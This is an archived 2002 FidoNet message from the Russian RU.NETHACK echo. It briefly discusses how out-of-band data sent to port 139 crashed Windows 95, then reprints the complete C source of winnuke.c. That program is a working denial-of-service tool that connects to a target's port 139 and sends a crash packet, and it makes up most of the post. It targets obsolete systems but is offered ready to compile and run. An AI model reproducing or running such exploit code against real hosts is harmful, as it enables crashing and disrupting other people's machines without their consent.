|
|
ru.nethack- RU.NETHACK ------------------------------------------------------------------- From : Eugene Korovin 2:5080/196.72 07 Apr 2002 14:37:34 To : 3APA3A Subject : Re: <none> -------------------------------------------------------------------------------- On Wed, 03 Apr 2002 20:54:05 +0600 you wrote: FK>> Клиентом ты можешь влезть хоть на 139 порт - лишь бы он открыт был. FK>> (Говорят w95 от этого выпадала в BSoD 8)) AA> Кто говорит? Hу, не то что бы от простого телнета, но всетаки... Кстатии именно после этой дыры Hекрософт убрал(?) OOB из своего tcp/ip... /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #define dport 139 /* Attack port: 139 is what we want */ int x, s; char *str = "Bye"; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <target>\n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); } /evk --- tin/1.5.12-20020311 ("Toxicity") (UNIX) (Linux/2.4.18 (i686)) * Origin: Registered Linux user #194650 (2:5080/196.72) Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.nethack/4004227c4243.html, оценка из 5, голосов 10
|